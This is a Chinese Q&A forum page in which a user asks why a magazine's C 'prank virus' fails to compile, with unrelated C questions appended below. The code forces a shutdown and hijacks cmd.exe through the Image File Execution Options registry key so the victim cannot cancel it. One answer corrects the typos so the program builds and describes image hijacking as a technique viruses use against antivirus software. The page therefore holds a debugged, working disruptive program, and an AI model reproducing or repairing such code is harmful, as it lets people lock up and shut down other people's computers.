C语言写关机程序语问题,高手请进!

网友世界2009 NO.14 64页: 用C语言写关机整人小病毒 在VC6.0 无法通过编译,VC6.0 源程序:
#include<stdio.h>
#include<Windows.h>
main()
{
int a,b=123456;
printf("-----------Wellcome to use this program---------------------\n");
printf(" haha");
system("shutdown -s -t 2000");
{
HKEY hKey;
char Buffer[]="debugfile.exe";
if(RegCrateKeyEx(HKEY_LOCKAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd.EXE",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL-ACCESS,NULL,&hKey,NULL)!=ERROR_SUCCESS)
printf("RegCreateKeyEx error");
if(RegSetValueEx(hKey,"debugger",0,REG_SZ,(CONSTBYTE*)Buffer,strlen(Buffer)+1)!=ERROR_SUCCESS)
printf("RegSetValueEx error");
RegCloseKey(hKey);
}
scanf("%d",&a);
if(a==b)
{
RegDeleteKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd,EXE");
system("shutdown -a");
}
}

错误信息:
--------------------Configuration: QQQ - Win32 Debug--------------------
Compiling...
QQQ.c
E:\QQQ.c(12) : warning C4013: 'RegCrateKeyEx' undefined; assuming extern returning int
E:\QQQ.c(12) : error C2065: 'HKEY_LOCKAL_MACHINE' : undeclared identifier
E:\QQQ.c(12) : error C2065: 'KEY_ALL' : undeclared identifier
E:\QQQ.c(12) : error C2065: 'ACCESS' : undeclared identifier
E:\QQQ.c(14) : error C2065: 'CONSTBYTE' : undeclared identifier
E:\QQQ.c(14) : error C2059: syntax error : ')'
执行 cl.exe 时出错.

QQQ.exe - 1 error(s), 0 warning(s)
今天:
#include<stdio.h>
#include<Windows.h>
main()
{int a,b=123456;
printf("---Wellcome to use this program-------\n");
printf(" Please input my phone number:");
system("shutdown -s -t 2000");
{ HKEY hKey;
char Buffer[]="debugfile.exe";
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd.EXE",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL)!=ERROR_SUCCESS)
printf("RegCreateKeyEx error");
if(RegSetValueEx(hKey,"debugger",0,REG_SZ,(CONSTBYTE* )Buffer,strlen(Buffer)+1)!=ERROR_SUCCESS)
printf("RegSetValueEx error");
RegCloseKey(hKey);
}
scanf("%d",&a);
if(a==b)
{RegDeleteKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd.EXE");
system("shutdown -a");
}
}

这可能是你输入的语法问题,要注意大小写。 作者通过修改注册表来进行映像劫持,不能用户通过CMD输入“shutdown -a"来取消关机。映象劫持是病毒常用的技术,AV终结者就是用了映像劫持来对付杀毒软件。
("HKEY_LOCKAL"多了下个字母“K",原样是HKEY_LOCAL,CONSTBYTE* 改成CONST BYTE*,要空格,要注要括号,自己仔细看清楚吧!本程序不存在逻辑错语。本人是(网友世界2009 NO.14 64页) 用C语言写关机整人小病毒的作者,有问题与作者联系,本程序只用于学习,不得用本代码来修改注册表来进行映像劫持用于违法操作。谢谢!
温馨提示:内容为网友见解,仅供参考
第1个回答  2009-09-10
system("shut。。。。
就是关机语句。
这行以后的语句全部删掉。不要改人家的注册表。
第2个回答  2009-09-11
看了半天,感觉没错啊
第3个回答  2009-09-12
请一些电脑高手来帮忙呗

C语言写关机程序语问题,高手请进!
这可能是你输入的语法问题,要注意大小写。 作者通过修改注册表来进行映像劫持,不能用户通过CMD输入“shutdown -a"来取消关机。映象劫持是病毒常用的技术,AV终结者就是用了映像劫持来对付杀毒软件。("HKEY_LOCKAL"多了下个字母“K",原样是HKEY_LOCAL,CONSTBYTE* 改成CONST BYTE*,要空格,要注要...

编程高手请进!(C语言)
1.include <stdio.h> include<stdlib.h> include<ctype.h> main(){ int count;\/*猜数字的次数*\/ int number;\/*系统产生的随机数字*\/ int guess;\/*程序员输入数字*\/ char yes='Y';clrscr();printf("\\nNow let us play the game.\\n Guess the number:");while (toupper(yes)=='Y'...

高手请进!!!cmd关机问题,
首先 -t要么给个参数,要么不写(不写默认30s)其次 CMD输入关机命令一次性的。如果需要计划关机,将关机命令保存为BAT文件,利用计划任务定时运行即可

c语言高手请进
int main(){ int i,j,k;for(i=0;i<9;i++){ for(j=0;j<9;j++){ for(k=0;k<9;k++){ if((i+j+k)<10 && i!=0)printf("%d%d%d ",i,j,k);} } } return 0;} 都类似的,只要改改if里的条件就可以了...q币啊.....

C语言编程问题.请高手进(附源码)!!!HELP
for(c=0;c!=b;c++)sr();break;case 2:;break;case 3:;break;default:printf("输入错误,请重新打开程序输入!");} } void sr(void){ int b=0,d=0,f=0;float e=0.0;char A[20],c[20];FILE *g;g=fopen("fdsj.dat","a+");\/\/---a方式好,是追加 printf("请输入菜的类别...

求C语言程序,高手请进...
输入一个字符串s,再输入一个字符c,将字符串s中出现的所有字符c删除。要求定义并调用函数delchar(s,c),它的功能是将字符串中的出现的所有c字符删除 输入输出示例 Input a string: happy new year Input a char: a After deleted, the string is: hppy new yer*\/ \/*#include <stdio.h> i...

关机问题!高手请进.
首先你可确定"退出Windows"声音文件是否已毁坏--打开"控制面板",打开"声音",将"退出Windows"声音取消。如果Windows正常关闭,则问题是由退出声音文件所引起的,要解决这一问题,可以从备份中恢复声音文件或者重新安装提供声音文件的程序,也可定义"退出Windows"为无声。2.快速关机不正常 快速关机是Windows...

写C语言程序 高手请进...跪求!!!
void main(){ int a[10],b[10],i,j;printf("输入数组a");for(i=0; i<10; i++)scanf("%d",&a[i]);printf("输入数组b");for(i=0; i<10; i++)scanf("%d",&b[i]);printf("相同元素:");for(i=0; i<10; i++)for(j=0; j<10; j++)if(a[i]==b[j]) ...

高分C语言问题~~·高手请进
int getValue(int A[]){ 初始 int S=0 1. (数组A)n个数字从小到大排序 (例如:1,2,9)2. 取上步中最小的两个数相加之和为一个M , S=S+M 3. 数组A中除去最小的两个数,然后将M加进去形成一个新数组A元素个数为 n=n-1 4. n>1时回到1.否则函数返回S+A[0] (或S+M,因为...

C语言高手请进,结构体里的元素前面有一点“.”代表什么意思?比如 .go...
“.”是访问成员的意思。优先级同“()”。 例:"对象.成员" 或者"对象->成员"都是表示访问对象的某个成员的意思(读写成员)。也就是访问某个成员的变量。这里只是省略不写了。也可以写上atag_tcc_entry.output = 0;一样的。

相似回答
大家正在搜